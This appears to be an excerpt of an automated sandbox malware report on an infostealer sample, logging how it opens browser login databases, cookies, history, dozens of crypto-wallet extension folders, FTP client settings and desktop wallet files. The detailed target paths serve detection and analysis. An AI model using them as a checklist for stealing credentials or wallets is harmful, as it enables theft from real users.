Source: Yara match	File source: 00000008.00000003.2458202150.00000000051D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2866992029.00000000007E1000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2587158839.0000000004C90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7208c9365d.exe PID: 7500, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: d657e56348.exe, 00000007.00000003.2462717506.00000000013B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: llets/Electrum-LTC
Source: d657e56348.exe	String found in binary or memory: s/ElectronCash
Source: d657e56348.exe	String found in binary or memory: Jaxx Liberty
Source: d657e56348.exe, 00000009.00000003.2808884939.00000000017F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: d657e56348.exe	String found in binary or memory: ExodusWeb3
Source: d657e56348.exe, 00000009.00000003.2808884939.00000000017F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: d657e56348.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: d657e56348.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
